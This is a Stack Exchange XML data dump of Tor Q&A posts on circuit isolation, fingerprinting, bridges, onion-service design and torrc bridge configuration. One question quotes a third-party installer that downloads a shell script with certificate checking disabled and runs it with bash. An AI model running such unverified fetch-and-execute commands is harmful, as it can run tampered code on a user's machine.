  <row Id="16102" PostTypeId="2" ParentId="16097" CreationDate="2017-11-14T07:28:22.903" Score="1" Body="&lt;p&gt;No, Tor Browser isolates it's circuits by the first party domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. &lt;em&gt;foo.com&lt;/em&gt;, &lt;em&gt;bar.foo.com&lt;/em&gt; and &lt;em&gt;qux.bar.foo.com&lt;/em&gt; will all be isolated on their own circuit for &lt;em&gt;foo.com&lt;/em&gt;. While &lt;em&gt;example.com&lt;/em&gt;, &lt;em&gt;bar.example.com&lt;/em&gt; and &lt;em&gt;qux.bar.example.com&lt;/em&gt; will all use their own isolated circuit for &lt;em&gt;example.com&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything under &lt;code&gt;torify&lt;/code&gt; won't use the same SOCKS5 credentials and so won't use the same circuit. However, multiple applications under &lt;code&gt;torify&lt;/code&gt; will share the same circuit since it doesn't perform any kind of isolation by default. Advanced configuration of &lt;code&gt;torify&lt;/code&gt; (or &lt;code&gt;torsocks&lt;/code&gt;) will allow for isolation, if required.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-14T07:28:22.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16105" PostTypeId="1" CreationDate="2017-11-15T09:13:44.580" Score="0" ViewCount="119" Body="&lt;p&gt;This is netspeeder's website:&lt;a href=&quot;https://github.com/iMeiji/shadowsocks_install/wiki/Net-Speeder&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/iMeiji/shadowsocks_install/wiki/Net-Speeder&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the installing command line for Ubuntu and Debian:&#xA;wget --no-check-certificate &lt;a href=&quot;https://raw.githubusercontent.com/iMeiji/shadowsocks_install/master/debian_netspeeder_tennfy.sh&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://raw.githubusercontent.com/iMeiji/shadowsocks_install/master/debian_netspeeder_tennfy.sh&lt;/a&gt;&#xA;chmod a+x debian_netspeeder_tennfy.sh&#xA;bash debian_netspeeder_tennfy.sh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it can speed up Tor? It can speed up some services such as Shadowsocks.&lt;/p&gt;&#xA;" OwnerUserId="19632" LastActivityDate="2017-11-20T13:21:00.510" Title="Does Netspeeder can speed up Tor service?" Tags="|configuration|speed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16106" PostTypeId="2" ParentId="16080" CreationDate="2017-11-15T15:18:12.540" Score="0" Body="&lt;p&gt;Thank you canonizing ironize for you response. Linux mint is the OS. I discovered that when I lowered the Tor Browser Security Settings to Low (default) and then loaded a webite the problem went away. Then I was able to raise the Security Settings back to my preferred setting of High and each subsequent website displayed correctly in the panel. Thanks again for taking the time to respond.&lt;/p&gt;&#xA;" OwnerUserId="19879" LastActivityDate="2017-11-15T15:18:12.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16109" PostTypeId="1" AcceptedAnswerId="16114" CreationDate="2017-11-16T08:45:43.607" Score="0" ViewCount="89" Body="&lt;p&gt;given that BridgeAuthority relay has information of all published (non-private) bridge relays, it could be used to compromise pluggable transport, is that the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/attic/bridges-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;specifications&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14669" LastActivityDate="2017-11-16T22:50:28.673" Title="how pluggable transport is managed against BridgeAuthority?" Tags="|relays|bridge|pluggable-transports|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16110" PostTypeId="1" CreationDate="2017-11-16T12:56:31.927" Score="0" ViewCount="211" Body="&lt;p&gt;Just installed the latest torbrowser and noticed the timestamps are kinda off. Is this unusual or something to be concerned about?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; ls -laFthr ./Browser/TorBrowser/Tor/tor&#xA;-rwx------ 1 user user 2.8M Dec 31  1999 ./Browser/TorBrowser/Tor/tor*&#xA;&#xA;&#xA;&amp;gt; sha1sum ./Browser/TorBrowser/Tor/tor&#xA;6217d3681df845402e83179f0b0c5c2cc6ee073b  ./Browser/TorBrowser/Tor/tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Dec 31 1999? The tar package shows a Good Signature:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; gpg2 --verify tor-browser-linux64-7.0.10_en-US.tar.xz.asc &#xA;gpg: assuming signed data in 'tor-browser-linux64-7.0.10_en-US.tar.xz'&#xA;gpg: Signature made Thu 09 Nov 2017 11:57:11 AM EST using RSA key ID C3C07136&#xA;gpg: Good signature from &quot;Tor Browser Developers (signing key) &amp;lt;torbrowser@torproject.org&amp;gt;&quot; [unknown]&#xA;gpg: WARNING: This key is not certified with a trusted signature!&#xA;gpg:          There is no indication that the signature belongs to the owner.&#xA;Primary key fingerprint: EF6E 286D DA85 EA2A 4BA7  DE68 4E2C 6E87 9329 8290&#xA;     Subkey fingerprint: A430 0A6B C93C 0877 A445  1486 D148 3FA6 C3C0 7136&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;Last Updated&quot; dates of Extensions are off too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://my.mixtape.moe/nboohz.png&quot; alt=&quot;httpseverywhere&quot;&gt;&#xA;What should I do?&lt;/p&gt;&#xA;" OwnerUserId="19889" LastEditorUserId="19889" LastEditDate="2017-11-16T13:04:44.110" LastActivityDate="2020-04-08T12:03:40.490" Title="Binary dated for Dec 31 1999?" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16111" PostTypeId="1" CreationDate="2017-11-16T17:34:21.247" Score="1" ViewCount="10960" Body="&lt;p&gt;The default Tor windows size (500x1000) I find too small and I would like to make it bigger. I understand that making Tor full screen is dangerous, as full screen resolution is device dependent, allowing me to be fingerprinted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, is it safe for me (i.e. fingerprinting resistant) to drag the lower right hand corner of the window every time I start up Tor, resizing my window to something a bit smaller than fullscreen, which is different from Tor defaults but varies every time?&lt;/p&gt;&#xA;" OwnerUserId="19892" LastActivityDate="2020-04-03T07:48:28.770" Title="Is manually resizing the Tor window dangerous?" Tags="|fingerprinting|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16112" PostTypeId="2" ParentId="16110" CreationDate="2017-11-16T21:59:50.997" Score="1" Body="&lt;p&gt;Yes, this is part of the reproducible build process. Since binary creation time and other date-related build artifacts would differ between people attempting to build Tor Browser, date information is standardised (or stripped) to be uniform, so that no matter when it is built the files will look the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be interested in reading the blog posts from the Tor Project:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/deterministic-builds-part-one-cyberwar-and-global-compromise&quot; rel=&quot;nofollow noreferrer&quot;&gt;Deterministic Builds Part One: Cyberwar and Global Compromise&lt;/a&gt; and &lt;a href=&quot;https://blog.torproject.org/deterministic-builds-part-two-technical-details&quot; rel=&quot;nofollow noreferrer&quot;&gt;Deterministic Builds Part Two: Technical Details&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The long and short of it is that reproducible builds ensure that given source code and a pre-determined build environment, anyone who builds the software following the build proceedure will get &lt;em&gt;exactly&lt;/em&gt; the same output as everyone else. This allows third parties to check that the file that the Tor Project (or whoever else wants to use reproducible builds) is distributing is &lt;em&gt;exactly&lt;/em&gt; what is in the source code, and nothing more, e.g. that they haven't tampered with the binaries or added extra code into the version that they are distributing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Others following similar proceedures include &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/gitian-building.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin&lt;/a&gt;, &lt;a href=&quot;https://wiki.debian.org/ReproducibleBuilds&quot; rel=&quot;nofollow noreferrer&quot;&gt;Debian&lt;/a&gt;, &lt;a href=&quot;https://tails.boum.org/news/reproducible_Tails/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails&lt;/a&gt; and &lt;a href=&quot;https://reproducible-builds.org/who/&quot; rel=&quot;nofollow noreferrer&quot;&gt;many others&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-16T21:59:50.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16113" PostTypeId="2" ParentId="16111" CreationDate="2017-11-16T22:03:36.433" Score="2" Body="&lt;p&gt;Yes, it is harmful for the duration of the window at that size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, manually resizing it will create a &lt;em&gt;very&lt;/em&gt; unique fingerprint for your window size, which will persist until Tor Browser is reset to it's chosen size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would make it easier for advertisers to track you across tabs and websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd also be in a small set of users who did use some obviously not automatic window size, and would potentially link you between session of different manually resized windows, since your window size is always a strange non-standard number. This might allow a careful observer to link your activity across multiple sessions and identities together.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-16T22:03:36.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16114" PostTypeId="2" ParentId="16109" CreationDate="2017-11-16T22:50:28.673" Score="1" Body="&lt;p&gt;Yes, the bridge authority or bridgedb knows all of the published bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It couldn't really be used to &quot;compromise&quot; pluggable transports, but if a censor was able to recover the full list, it could try to block all the IP/Port combinations but it wouldn't last into the future. There are more effective and less risky censorship methods available to serious and well-funded censors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some pluggable transports use a different method of censorship evasion, like &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/meek&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;meek&lt;/code&gt;&lt;/a&gt; or &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/Snowflake&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;snowflake&lt;/code&gt;&lt;/a&gt;. Instead of relying on not being a known address, they use domain fronting to masquerade behind popular CDNs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes it costly for censors to block them even if the location is known since it is difficult to distinguish normal CDN traffic from that of the pluggable transport and the censor cannot inspect the traffic under TLS to determine where it is really destined. Outright blocking would break a lot of users web traffic and attempts to distinguish them would result in false positives and negatives.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-16T22:50:28.673" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16115" PostTypeId="1" AcceptedAnswerId="16118" CreationDate="2017-11-17T05:19:51.267" Score="1" ViewCount="191" Body="&lt;p&gt;This is maybe a obvious question but why a client need to use a rendez-vous point instead of directly use a introduction point for communicate with the hidden service?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is because introduction points are published in HsDir and consequently a attacker can more easily deanonymise clients and servers if the introduction points are used for a long-term communication?&lt;/p&gt;&#xA;" OwnerUserId="18159" LastActivityDate="2017-11-17T09:07:48.220" Title="Why use a rendez vous point instead of a introduction point?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16118" PostTypeId="2" ParentId="16115" CreationDate="2017-11-17T09:07:48.220" Score="0" Body="&lt;p&gt;There has been a proposal to do this for some time, the proposal also includes the rational of why they are two seperate relays currently. Ultimately it has  not been implemented and given that the newly created &lt;em&gt;&quot;next generation&quot;&lt;/em&gt; onion services, &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v3.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rendezvous Protocol v3&lt;/a&gt;, still uses distinct Introduction and Rendezvous Points, it's unlikely to be seen in the near future and given that the proposal hasn't been touched in almost a decade, it may never be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/142-combine-intro-and-rend-points.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proposal 142: Combine Introduction and Rendezvous Points&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  There are some reasons for separating the two roles of introduction and&#xA;  rendezvous point: (1) Responsibility: A relay shall not be made&#xA;  responsible that it relays data for a certain hidden service; in the&#xA;  original design as described in [1] an introduction point relays no&#xA;  application data, and a rendezvous points neither knows the hidden&#xA;  service nor can it decrypt the data. (2) Scalability: The hidden service&#xA;  shall not have to maintain a number of open circuits proportional to the&#xA;  expected number of client requests. (3) Attack resistance: The effect of&#xA;  an attack on the only visible parts of a hidden service, its introduction&#xA;  points, shall be as small as possible.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-17T09:07:48.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16119" PostTypeId="1" AcceptedAnswerId="16122" CreationDate="2017-11-17T09:46:25.463" Score="0" ViewCount="992" Body="&lt;p&gt;I am trying to use Tallow to circumvent blocking on the wifi network I am using. However, TOR is blocked, so a bridge is needed. The TOR browser works with the meek-amazon setting, but how do I edit the Tallow torrc file to work in the same way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the info I have found is for the TOR browser. Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="19897" LastActivityDate="2017-11-17T19:45:05.203" Title="Using bridges and pluggable transports with Tallow" Tags="|configuration|pluggable-transports|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16121" PostTypeId="1" CreationDate="2017-11-17T15:46:45.657" Score="5" ViewCount="6410" Body="&lt;p&gt;Just glanced at my logs and noticed 50+ messages like this from tor. What exactly do these messages mean? I don't think I was using tor at the time the messages occurred. What might've invoked them? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nov 17 10:03:34 hostname Tor[17074]: Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;Nov 17 10:03:34 hostname Tor[17074]: Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;Nov 17 10:03:34 hostname Tor[17074]: Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;Nov 17 10:03:34 hostname Tor[17074]: Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;Nov 17 10:03:34 hostname Tor[17074]: Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;Nov 17 10:03:34 hostname Tor[17074]: Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;Nov 17 10:03:34 hostname Tor[17074]: Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;Nov 17 10:03:34 hostname Tor[17074]: Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;Nov 17 10:03:34 hostname Tor[17074]: Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;Nov 17 10:03:34 hostname Tor[17074]: Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;Nov 17 10:03:34 hostname Tor[17074]: Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;Nov 17 10:03:34 hostname Tor[17074]: Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;Nov 17 10:03:34 hostname Tor[17074]: Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;Nov 17 10:03:36 hostname Tor[17074]: We now have enough directory information to build circuits.&#xA;Nov 17 10:03:37 hostname Tor[17074]: Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Nov 17 10:03:37 hostname Tor[17074]: Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;&#xA;&#xA;# lsb_release -a&#xA;No LSB modules are available.&#xA;Distributor ID: Ubuntu&#xA;Release:    16.04&#xA;Codename:   xenial&#xA;&#xA;# tor --version&#xA;Tor version 0.3.1.8 (git-868c1b2b1eb7225a).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19903" LastActivityDate="2023-03-07T16:07:15.893" Title="Application request when we haven't used client functionality lately" Tags="|configuration|linux|error|ubuntu|log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16122" PostTypeId="2" ParentId="16119" CreationDate="2017-11-17T19:45:05.203" Score="0" Body="&lt;p&gt;You need to define 3 things in your &lt;code&gt;torrc&lt;/code&gt; configuration file:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;ClientTransportPlugin&lt;/code&gt; to give Tor a name and a path to an executable to act as the pluggable transport. You can find the pluggable transport executables in the Tor Browser package. It takes the form &lt;code&gt;ClientTransportPlugin transport exec path-to-binary [options]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;e.g. &lt;code&gt;ClientTransportPlugin obfs4 C:\Users\user\obfs4proxy.exe&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;code&gt;UseBridges&lt;/code&gt; to tell Tor to use bridges. It takes the form &lt;code&gt;UseBridges 0|1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;e.g. &lt;code&gt;UseBridges 1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;code&gt;Bridge&lt;/code&gt; lines that define the bridge to use and the pluggable transport. It takes the form &lt;code&gt;Bridge [transport] IP:ORPort [fingerprint]&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;e.g. &lt;code&gt;Bridge obfs4 1.2.3.4:56789 0123456789ABCDEF cert=tMrWpcHsn7buAAS4USGKxKyKEFv9t3HmzfDZ1cLYB0o= iat-mode=0&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-17T19:45:05.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16123" PostTypeId="1" CreationDate="2017-11-17T23:10:05.090" Score="1" ViewCount="288" Body="&lt;p&gt;Does Tor Work With Secret Agent?  Secret Agent can be found &lt;a href=&quot;https://dephormation.org.uk/index.php?page=81&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.  Will Tor break and/or is it a bad idea?&lt;/p&gt;&#xA;" OwnerUserId="19906" LastActivityDate="2022-03-30T06:00:10.040" Title="Does Tor Work With Secret Agent" Tags="|anonymity|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16124" PostTypeId="1" CreationDate="2017-11-18T04:53:12.197" Score="2" ViewCount="320" Body="&lt;p&gt;I'm using TorBrowser 7.0.10 on macOS 10.12.6. I have &quot;Little Flocker&quot; application installed which warns me every time an App is trying to access some file. Every time I start TorBrowser I get the warning about the following application is trying to access the following file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: /Users/XXX/Library/Application Support/TorBrowser-Data/Browser/pdf1dcp3.default/extension/{73a6fe31-595d-460b-a920-fcc0f8843232}.xpi&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Application path: /Applications/TorBrowser.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container (1146)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Codesign Identity: Developer ID Application: The Tor Project, Inc (MADPSAYN6T)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This warning survived multiple TorBrowser updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried both allowing and denying this file access with Little Flocker. I  can't tell what's the difference in consequent browsing experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal behavior or sign of a bug or malware presence? Shell I allow this file access forever?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a side note: is there a way I can attach images (screenshots for example) and other files to my posts here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for helping out.&#xA;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="19909" LastActivityDate="2018-10-15T08:00:27.230" Title="I'm getting persistent warning on every Tor start: 'plugin container via firefox trying to access &quot;{...}.xpi file&quot;. Is it normal?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16126" PostTypeId="1" CreationDate="2017-11-18T15:57:18.923" Score="1" ViewCount="422" Body="&lt;p&gt;When I run tor.exe and try to make a connection to a .onion domain via SOCKS and the hidden service is available at that moment, the connection opens quickly. Conversely, if the hidden service is not available, the connection fails after a while. Now let's say that the hidden service turns back online after one minute; it takes my tor instance about 5 minutes to successfully connect to the hidden service, like it was caching the (bad) descriptor of the onion domain.&#xA;Is there a way to tell tor.exe that this time window should be lower?&lt;/p&gt;&#xA;" OwnerUserId="19914" LastActivityDate="2018-09-15T06:00:53.917" Title="How do I tell TOR to not cache Onion descriptors?" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16127" PostTypeId="1" CreationDate="2017-11-18T19:08:52.197" Score="0" ViewCount="522" Body="&lt;p&gt;Is there a way to use TOR Browser (modified version of Firefox) but without using the TOR network? I'd take to use it for all by browsing activity as it includes a lot of fingerprinting countermeasures.&lt;/p&gt;&#xA;" OwnerUserId="19916" LastActivityDate="2017-11-21T23:22:52.863" Title="How can I use TOR browser without relying traffic through TOR network?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ClosedDate="2017-11-21T16:30:29.010" ContentLicense="CC BY-SA 3.0" />
  <row Id="16128" PostTypeId="2" ParentId="16124" CreationDate="2017-11-18T20:34:20.917" Score="1" Body="&lt;p&gt;Yes, this is normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;.xpi&lt;/code&gt; file extension is the format for &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/XPI&quot; rel=&quot;nofollow noreferrer&quot;&gt;Firefox/Mozilla extensions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;.xpi&lt;/code&gt; file is a &lt;code&gt;.zip&lt;/code&gt; file which contains resources for the extension, normally just some javascript/html/css files and other resources it might need, like image files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, &lt;em&gt;{73a6fe31-595d-460b-a920-fcc0f8843232}.xpi&lt;/em&gt; is the &lt;em&gt;NoScript&lt;/em&gt; extension that is bundled with Tor Browser. The file is extracted from the &lt;code&gt;.app&lt;/code&gt; on installation to the user profile under &lt;code&gt;~/Library/Application Support/TorBrowser-Data/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not an indicator of malware or any malicious activity.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-18T20:34:20.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16129" PostTypeId="2" ParentId="16126" CreationDate="2017-11-18T20:37:37.297" Score="1" Body="&lt;p&gt;You probably don't want to do this, for performance reasons and potentially for anonymity reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor does cache rendezvous descriptors. The simplest way to clear this cache is to use the 'New Identity' option on Tor Browser which, amongst other things, sends a &lt;code&gt;NEWNYM&lt;/code&gt; signal to the Tor process over the control port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of the process that Tor performs on receipt of the &lt;code&gt;NEWNYM&lt;/code&gt; signal, is that it &lt;a href=&quot;https://tor.stackexchange.com/questions/9853/what-happens-with-tcp-connections-on-signal-newnym/10618#10618&quot;&gt;clears out the rendezvous descriptor caches&lt;/a&gt;. Shortening the time that descriptors are held will only result in degraded performance and potentially could make your Tor usage look different from other Tor users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know the .onion has republished a new descriptor, or suspect it might have then send a &lt;code&gt;NEWNYM&lt;/code&gt; signal and try to contact the .onion service again.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-18T20:37:37.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16131" PostTypeId="1" AcceptedAnswerId="16134" CreationDate="2017-11-19T10:04:13.027" Score="3" ViewCount="5470" Body="&lt;p&gt;Is there any direct way to ask all registered onion addresses from Tor directories? If it is not available, it should be bruteforced for specific ports? I mean all 16 chars onion addresses should be pinged for specific ports?&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2018-01-06T18:43:42.420" Title="Finding all onion addresses" Tags="|onion-routing|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16133" PostTypeId="2" ParentId="13763" CreationDate="2017-11-19T15:07:40.607" Score="4" Body="&lt;p&gt;Just download and run &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;TOR Browser&lt;/a&gt;. It will open a socks proxy in your system. You can check the port in browser settings:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9JWzo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9JWzo.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You just need to set a proxy for your java socket:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;InetSocketAddress HiddenerProxyAddress = new InetSocketAddress(&amp;quot;127.0.0.1&amp;quot;, 9150);&#xA;Proxy HiddenProxy = new Proxy(Proxy.Type.SOCKS, HiddenerProxyAddress);&#xA;Socket underlying = new Socket(HiddenProxy);&#xA;SocketAddress sa = new InetSocketAddress(&amp;quot;www.facebook.com&amp;quot;, 80);&#xA;underlying.connect(sa);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you want to connect to a hidden service (onion address), you should create an unresolved socket address:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;InetSocketAddress sa = InetSocketAddress.createUnresolved(&amp;quot;facebookcorewwwi.onion&amp;quot;, 80);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is it. Now you can connect using socket through TOR.&lt;/p&gt;&#xA;" OwnerUserId="19920" LastEditorUserId="-1" LastEditDate="2021-02-14T04:58:48.313" LastActivityDate="2021-02-14T04:58:48.313" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16134" PostTypeId="2" ParentId="16131" CreationDate="2017-11-19T17:33:56.857" Score="3" Body="&lt;p&gt;Tor directory authorities don't keep onion addresses. It is &lt;strong&gt;Hidden Service Directory&lt;/strong&gt; which keeps &lt;em&gt;descriptors&lt;/em&gt; for currently running onion services. As they are responsible for holding descriptors, malicious HSDir can harvest onion addresses from their descriptors by deriving them from their public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Harvesting onion addresses from HSDir violates &lt;a href=&quot;https://blog.torproject.org/ethical-tor-research-guidelines&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ethical Tor Research Guidelines&lt;/a&gt; so they will ban you once they find out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TorProject is actively monitoring such activities to block malicious HSDir. As mentioned in &lt;a href=&quot;https://youtu.be/AkoyCLAXVsc?t=1166&quot; rel=&quot;nofollow noreferrer&quot;&gt;NorthSec: David Goulet - Deep Dive Into Tor Onion Services&lt;/a&gt; they are using some clever system to detect that which they keep it hidden because they don't want malicious HSDir to find a work around and start harvesting onion addresses without being detected. Malicious HSDir are getting smarter. They don't visit those onion addresses as soon as they harvest it. They wait for sometime and pretend to be as client to trawl onion services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People have actually started making business models on this so TorProject has decided to end this. Harvesting onion addresses has been &lt;a href=&quot;https://youtu.be/Di7qAVidy1Y?t=2002&quot; rel=&quot;nofollow noreferrer&quot;&gt;addressed&lt;/a&gt; in &lt;a href=&quot;https://www.youtube.com/watch?v=Di7qAVidy1Y&quot; rel=&quot;nofollow noreferrer&quot;&gt;Next Generation Tor Onion Services&lt;/a&gt; so you can no longer harvest onion addresses by hosting your own HSDir anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are hidden services who don't want to reveal their onion addresses. HSDir are sitting at a position where they can index onion addresses from their public key. There is no other way except by bruteforce which also doesn't work in &lt;strong&gt;next generation onion services&lt;/strong&gt; in which &lt;a href=&quot;https://youtu.be/AkoyCLAXVsc?t=1910&quot; rel=&quot;nofollow noreferrer&quot;&gt;size of onion address is 54chars&lt;/a&gt;. Such HSDirs often get blocked for being acted as malicious.&lt;/p&gt;&#xA;" OwnerUserId="14395" LastEditorUserId="14395" LastEditDate="2018-01-06T17:46:23.347" LastActivityDate="2018-01-06T17:46:23.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
